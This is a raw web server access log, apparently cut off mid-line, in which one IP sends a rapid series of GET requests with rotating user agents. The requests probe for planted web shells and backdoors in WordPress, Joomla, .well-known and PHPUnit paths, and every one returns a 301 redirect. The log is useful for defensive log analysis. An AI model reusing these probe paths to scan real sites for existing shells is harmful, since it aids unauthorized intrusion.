[27/Apr/2025:19:22:15 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:15 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:22:16 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:17 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:18 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:19 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:20 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:21 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:22 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:23 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:24 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:25 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:26 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:27 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:22:28 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 